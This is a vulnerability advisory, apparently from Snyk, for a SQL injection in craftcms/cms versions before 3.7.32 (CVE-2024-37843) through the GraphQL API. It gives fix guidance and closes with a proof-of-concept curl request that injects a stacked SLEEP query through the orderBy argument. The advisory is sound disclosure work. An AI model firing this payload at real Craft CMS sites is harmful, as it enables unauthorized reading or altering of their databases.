SQL Injection Affecting craftcms/cms package, versions <3.7.32
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-PHP-CRAFTCMSCMS-7411224
- published27 Jun 2024
- disclosed25 Jun 2024
- creditS1n1st3r
Introduced: 25 Jun 2024
CVE-2024-37843 (opens in a new tab)How to fix?
Upgrade craftcms/cms to version 3.7.32 or higher.
Overview
craftcms/cms is a content management system.
Affected versions of this package are vulnerable to SQL Injection through the GraphQL API endpoint. An attacker could manipulate database queries and retrieve or alter sensitive data by injecting malicious SQL commands.
PoC
curl -X POST '<URL>/api/' -H 'Content-Type:application/json' -d '{"query":"query IntrospectionQuery {assets(orderBy: \"`assets`.`volumeId` -- \\\\` \\n \\n LIMIT 5) AS `subquery`\\nINNER JOIN `assets` `assets` ON `assets`.`id` = `subquery`.`elementsId`\\nINNER JOIN `volumefolders` `volumeFolders` ON `volumeFolders`.`id` = `assets`.`folderId`\\nINNER JOIN `elements` `elements` ON `elements`.`id` = `subquery`.`elementsId`\\nINNER JOIN `elements_sites` `elements_sites` ON `elements_sites`.`id` = `subquery`.`elementsSitesId`\\nINNER JOIN `content` `content` ON `content`.`id` = `subquery`.`contentId`\\nORDER BY `assets`.`volumeId`; SELECT SLEEP(10) ; --\", limit: 5){filename}}"}'